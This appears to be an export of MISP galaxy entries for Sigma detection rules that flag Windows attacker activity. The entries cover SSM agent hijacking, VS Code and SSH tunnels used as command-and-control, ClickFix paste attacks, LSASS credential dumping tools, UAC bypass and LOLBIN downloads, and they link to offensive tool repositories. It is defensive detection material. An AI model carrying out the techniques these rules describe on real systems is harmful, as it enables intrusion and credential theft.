Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.

The tag is: *misp-galaxy:sigma-rules="Potential Amazon SSM Agent Hijacking"*

View relationships graph

Potential Amazon SSM Agent Hijacking has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15528. Table References

Links

https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan
https://www.bleepingcomputer.com/news/security/amazons-aws-ssm-agent-can-be-used-as-post-exploitation-rat-malware/
https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssm_agent_abuse.yml

Visual Studio Code Tunnel Execution

Detects Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel

The tag is: *misp-galaxy:sigma-rules="Visual Studio Code Tunnel Execution"*

View relationships graph

Visual Studio Code Tunnel Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"

Table 15529. Table References

Links
https://ipfyx.fr/post/visual-studio-code-tunnel/
https://badoption.eu/blog/2023/01/31/code_c2.html
https://code.visualstudio.com/docs/remote/tunnels
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_execution.yml

Suspicious Explorer Process with Whitespace Padding - ClickFix/FileFix

Detects process creation with suspicious whitespace padding followed by a '#' character, which may indicate ClickFix or FileFix techniques used to conceal malicious commands from visual inspection. ClickFix and FileFix are social engineering attack techniques where adversaries distribute phishing documents or malicious links that deceive users into opening the Windows Run dialog box or File Explorer search bar. The victims are then instructed to paste commands from their clipboard, which contain extensive whitespace padding using various Unicode space characters to push the actual malicious command far to the right, effectively hiding it from immediate view.

The tag is: *misp-galaxy:sigma-rules="Suspicious Explorer Process with Whitespace Padding -*

ClickFix/FileFix"

View relationships graph

Suspicious Explorer Process with Whitespace Padding - ClickFix/FileFix has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious Copy and Paste - T1204.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

Table 15530. Table References

Links
https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/
https://mrd0x.com/filefix-clickfix-alternative/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clickfix_filefix_whitespace_padding.yml

Renamed PsExec Service Execution

Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators

The tag is: *misp-galaxy:sigma-rules="Renamed PsExec Service Execution"*

Table 15531. Table References

Links
https://www.youtube.com/watch?v=ro2QuZTIMBM
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_psexec_service.yml

Potential SSH Tunnel Persistence Install Using A Scheduled Task

Detects the creation of new scheduled tasks via commandline, using Schtasks.exe. This rule detects tasks creating that call OpenSSH, which may indicate the creation of reverse SSH tunnel to the attacker's server.

The tag is: *misp-galaxy:sigma-rules="Potential SSH Tunnel Persistence Install Using A Scheduled Task"*

View relationships graph

Potential SSH Tunnel Persistence Install Using A Scheduled Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15532. Table References

Links
https://www.kroll.com/en/insights/publications/cyber/cactus-ransomware-prickly-new-variant-evades-detection
https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_openssh_tunnelling.yml

Stop Windows Service Via PowerShell Stop-Service

Detects the stopping of a Windows service via the PowerShell Cmdlet "Stop-Service"

The tag is: *misp-galaxy:sigma-rules="Stop Windows Service Via PowerShell Stop-Service"*

View relationships graph

Stop Windows Service Via PowerShell Stop-Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 15533. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/stop-service?view=powershell-7.4
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_stop_service.yml

Malicious PowerShell Commandlets - ProcessCreation

Detects Commandlet names from well-known PowerShell exploitation frameworks

The tag is: *misp-galaxy:sigma-rules="Malicious PowerShell Commandlets - ProcessCreation"*

View relationships graph

Malicious PowerShell Commandlets - ProcessCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15534. Table References

Links
https://adsecurity.org/?p=2921
https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/
https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html
https://github.com/DarkCoderSc/PowerRunAsSystem/
https://github.com/calebstewart/CVE-2021-1675
https://github.com/The-Viper-One/Invoke-PowerDPAPI/
https://github.com/HarmJ0y/DAMP
https://github.com/Kevin-Robertson/Powermad
https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
https://github.com/Arno0x/DNSExfiltrator/
https://github.com/adrecon/ADRecon
https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/
https://github.com/besimorhino/powercat
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries

https://github.com/sadshade/veeam-creds/blob/6010eaf31ba41011b58d6af3950cffbf6f5cea32/Veeam-Get-Creds.ps1
https://github.com/adrecon/AzureADRecon
https://github.com/samratashok/nishang
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_malicious_cmdlets.yml

Webshell Detection With Command Line Keywords

Detects certain command line parameters often used during reconnaissance activity via web shells

The tag is: *misp-galaxy:sigma-rules="Webshell Detection With Command Line Keywords"*

View relationships graph

Webshell Detection With Command Line Keywords has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 15535. Table References

Links
https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html
https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_recon_commands_and_processes.yml

Potential Suspicious Browser Launch From Document Reader Process

Detects when a browser process or browser tab is launched from an application that handles document files such as Adobe, Microsoft Office, etc. And connects to a web application over http(s), this could indicate a possible phishing attempt.

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious Browser Launch From Document Reader Process"*

View relationships graph

Potential Suspicious Browser Launch From Document Reader Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 15536. Table References

Links
https://app.any.run/tasks/69c5abaa-92ad-45ba-8c53-c11e23e05d04/
https://app.any.run/tasks/64043a79-165f-4052-bcba-e6e49f847ec1/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_browser_launch_from_document_reader_process.yml

COM Object Execution via Xwizard.EXE

Detects the execution of Xwizard tool with the "RunWizard" flag and a GUID like argument. This utility can be abused in order to run custom COM object created in the registry.

The tag is: *misp-galaxy:sigma-rules="COM Object Execution via Xwizard.EXE"*

View relationships graph

COM Object Execution via Xwizard.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15537. Table References

Links
https://www.elastic.co/guide/en/security/current/execution-of-com-object-via-xwizard.html
https://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
https://lolbas-project.github.io/lolbas/Binaries/Xwizard/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xwizard_runwizard_com_object_exec.yml

HackTool - Windows Credential Editor (WCE) Execution

Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords, hash, PIN code and Kerberos tickets from memory. It is often used by threat actors for credential dumping and lateral movement within compromised networks.

The tag is: *misp-galaxy:sigma-rules="HackTool - Windows Credential Editor (WCE) Execution"*

View relationships graph

HackTool - Windows Credential Editor (WCE) Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15538. Table References

Links
https://www.ampliasecurity.com/research/windows-credentials-editor/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_wce.yml

Suspicious Desktopimgdownldr Command

Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet

The tag is: *misp-galaxy:sigma-rules="Suspicious Desktopimgdownldr Command"*

View relationships graph

Suspicious Desktopimgdownldr Command has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15539. Table References

Links
https://twitter.com/SBousseaden/status/1278977301745741825
https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml

File Download Via Windows Defender MpCmpRun.EXE

Detects the use of Windows Defender MpCmdRun.EXE to download files

The tag is: *misp-galaxy:sigma-rules="File Download Via Windows Defender MpCmpRun.EXE"*

View relationships graph

File Download Via Windows Defender MpCmpRun.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with

estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15540. Table References

Links
https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866
https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_download_arbitrary_file.yml

New User Created Via Net.EXE With Never Expire Option

Detects creation of local users via the net.exe command with the option "never expire"

The tag is: *misp-galaxy:sigma-rules="New User Created Via Net.EXE With Never Expire Option"*

View relationships graph

New User Created Via Net.EXE With Never Expire Option has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 15541. Table References

Links
https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml

MSExchange Transport Agent Installation

Detects the Installation of a Exchange Transport Agent

The tag is: *misp-galaxy:sigma-rules="MSExchange Transport Agent Installation"*

View relationships graph

MSExchange Transport Agent Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"

Table 15542. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=7
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_msexchange_transport_agent.yml

HackTool - CrackMapExec Process Patterns

Detects suspicious process patterns found in logs when CrackMapExec is used

The tag is: *misp-galaxy:sigma-rules="HackTool - CrackMapExec Process Patterns"*

View relationships graph

HackTool - CrackMapExec Process Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15543. Table References

Links
https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_patterns.yml

Powershell Base64 Encoded MpPreference Cmdlet

Detects base64 encoded "MpPreference" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV

The tag is: *misp-galaxy:sigma-rules="Powershell Base64 Encoded MpPreference Cmdlet"*

View relationships graph

Powershell Base64 Encoded MpPreference Cmdlet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15544. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://learn.microsoft.com/en-us/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus

https://twitter.com/AdamTheAnalyst/status/1483497517119590403
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_mppreference.yml

HackTool - SharpLdapWhoami Execution

Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpLdapWhoami Execution"*

View relationships graph

HackTool - SharpLdapWhoami Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15545. Table References

Links
https://github.com/bugch3ck/SharpLdapWhoami
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpldapwhoami.yml

Potentially Suspicious Execution From Parent Process In Public Folder

Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Execution From Parent Process In Public Folder"*

View relationships graph

Potentially Suspicious Execution From Parent Process In Public Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15546. Table References

Links
https://redcanary.com/blog/blackbyte-ransomware/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_from_public_folder_as_parent.yml

Abused Debug Privilege by Arbitrary Parent Processes

Detection of unusual child processes by different system processes

The tag is: *misp-galaxy:sigma-rules="Abused Debug Privilege by Arbitrary Parent Processes"*

View relationships graph

Abused Debug Privilege by Arbitrary Parent Processes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 15547. Table References

Links
https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_abusing_debug_privilege.yml

Cloudflared Portable Execution

Detects the execution of the "cloudflared" binary from a non standard location.

The tag is: *misp-galaxy:sigma-rules="Cloudflared Portable Execution"*

View relationships graph

Cloudflared Portable Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 15548. Table References

Links
https://github.com/cloudflare/cloudflared/releases
https://github.com/cloudflare/cloudflared
https://www.intrinsec.com/akira_ransomware/
https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/
https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_portable_execution.yml

Node Process Executions

Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud

The tag is: *misp-galaxy:sigma-rules="Node Process Executions"*

View relationships graph

Node Process Executions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 15549. Table References

Links
https://twitter.com/mttaggart/status/1511804863293784064
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_adobe_creative_cloud_abuse.yml

Python Spawning Pretty TTY on Windows

Detects python spawning a pretty tty

The tag is: *misp-galaxy:sigma-rules="Python Spawning Pretty TTY on Windows"*

View relationships graph

Python Spawning Pretty TTY on Windows has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15550. Table References

Links
https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml

PUA - TruffleHog Execution

Detects execution of TruffleHog, a tool used to search for secrets in different platforms like Git, Jira, Slack, SharePoint, etc. that could be used maliciously. While it is a legitimate tool, intended for use in CI pipelines and security assessments, It was observed in the Shai-Hulud malware campaign targeting npm packages to steal sensitive information.

The tag is: *misp-galaxy:sigma-rules="PUA - TruffleHog Execution"*

View relationships graph

PUA - TruffleHog Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 15551. Table References

Links
https://www.getsafety.com/blog-posts/shai-hulud-npm-attack
https://github.com/trufflesecurity/trufflehog
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_trufflehog.yml

UAC Bypass Using Consent and Comctl32 - Process

Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using Consent and Comctl32 - Process"*

View relationships graph

UAC Bypass Using Consent and Comctl32 - Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15552. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml

Writing Of Malicious Files To The Fonts Folder

Monitors for the hiding possible malicious files in the C:\Windows\Fonts\ location. This folder doesn't require admin privillege to be written and executed from.

The tag is: *misp-galaxy:sigma-rules="Writing Of Malicious Files To The Fonts Folder"*

View relationships graph

Writing Of Malicious Files To The Fonts Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15553. Table References

Links
https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hiding_malware_in_fonts_folder.yml

Malicious PE Execution by Microsoft Visual Studio Debugger

There is an option for a MS VS Just-In-Time Debugger "vsjitdebugger.exe" to launch specified executable and attach a debugger. This option may be used adversaries to execute malicious code by signed verified binary. The debugger is installed alongside with Microsoft Visual Studio package.

The tag is: *misp-galaxy:sigma-rules="Malicious PE Execution by Microsoft Visual Studio Debugger"*

View relationships graph

Malicious PE Execution by Microsoft Visual Studio Debugger has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15554. Table References

Links
https://twitter.com/pabraeken/status/990758590020452353
https://learn.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml

Audio Capture via SoundRecorder

Detect attacker collecting audio via SoundRecorder application.

The tag is: *misp-galaxy:sigma-rules="Audio Capture via SoundRecorder"*

View relationships graph

Audio Capture via SoundRecorder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 15555. Table References

Links
https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrecorder_audio_capture.yml

HackTool - WSASS Execution

Detects execution of WSASS, a tool used to dump LSASS memory on Windows systems by leveraging WER's (Windows Error Reporting) WerFaultSecure.EXE to bypass PPL (Protected Process Light) protections.

The tag is: *misp-galaxy:sigma-rules="HackTool - WSASS Execution"*

View relationships graph

HackTool - WSASS Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15556. Table References

Links
https://www.zerosalarium.com/2025/09/Dumping-LSASS-With-WER-On-Modern-Windows-11.html
https://github.com/TwoSevenOneT/WSASS
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_wsass.yml

Insecure Transfer Via Curl.EXE

Detects execution of "curl.exe" with the "--insecure" flag.

The tag is: *misp-galaxy:sigma-rules="Insecure Transfer Via Curl.EXE"*

Table 15557. Table References

Links
https://curl.se/docs/manpage.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_insecure_connection.yml

Suspicious AgentExecutor PowerShell Execution

Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument

The tag is: *misp-galaxy:sigma-rules="Suspicious AgentExecutor PowerShell Execution"*

View relationships graph

Suspicious AgentExecutor PowerShell Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15558. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/
https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension
https://twitter.com/lefterispan/status/1286259016436514816
https://twitter.com/jseerden/status/1247985304667066373/photo/1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_agentexecutor_susp_usage.yml

Suspicious SysAidServer Child

Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)

The tag is: *misp-galaxy:sigma-rules="Suspicious SysAidServer Child"*

View relationships graph

Suspicious SysAidServer Child has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 15559. Table References

Links
https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_sysaidserver_susp_child_process.yml

Suspicious Double Extension File Execution

Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns

The tag is: *misp-galaxy:sigma-rules="Suspicious Double Extension File Execution"*

View relationships graph

Suspicious Double Extension File Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 15560. Table References

Links
https://twitter.com/blackorbird/status/1140519090961825792
https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html
https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml

Visual Studio NodejsTools PressAnyKey Renamed Execution

Detects renamed execution of "Microsoft.NodejsTools.PressAnyKey.exe", which can be abused as a LOLBIN to execute arbitrary binaries

The tag is: *misp-galaxy:sigma-rules="Visual Studio NodejsTools PressAnyKey Renamed Execution"*

View relationships graph

Visual Studio NodejsTools PressAnyKey Renamed Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with

estimative-language:likelihood-probability="almost-certain"

Table 15561. Table References

Links
https://twitter.com/mrd0x/status/1463526834918854661
https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_pressanykey.yml

File In Suspicious Location Encoded To Base64 Via Certutil.EXE

Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations

The tag is: *misp-galaxy:sigma-rules="File In Suspicious Location Encoded To Base64 Via Certutil.EXE"*

View relationships graph

File In Suspicious Location Encoded To Base64 Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15562. Table References

Links
https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior
https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior
https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior
https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location.yml

Whoami.EXE Execution With Output Option

Detects the execution of "whoami.exe" with the "/FO" flag to choose CSV as output format or with redirection options to export the results to a file for later use.

The tag is: *misp-galaxy:sigma-rules="Whoami.EXE Execution With Output Option"*

View relationships graph

Whoami.EXE Execution With Output Option has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15563. Table References

Links
https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s
https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/
https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_output.yml

File Encryption/Decryption Via Gpg4win From Suspicious Locations

Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.

The tag is: *misp-galaxy:sigma-rules="File Encryption/Decryption Via Gpg4win From Suspicious Locations"*

Table 15564. Table References

Links
https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_susp_location.yml

Visual Basic Command Line Compiler Usage

Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.

The tag is: *misp-galaxy:sigma-rules="Visual Basic Command Line Compiler Usage"*

View relationships graph

Visual Basic Command Line Compiler Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

Table 15565. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Vbc/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml

Potential SMB Relay Attack Tool Execution

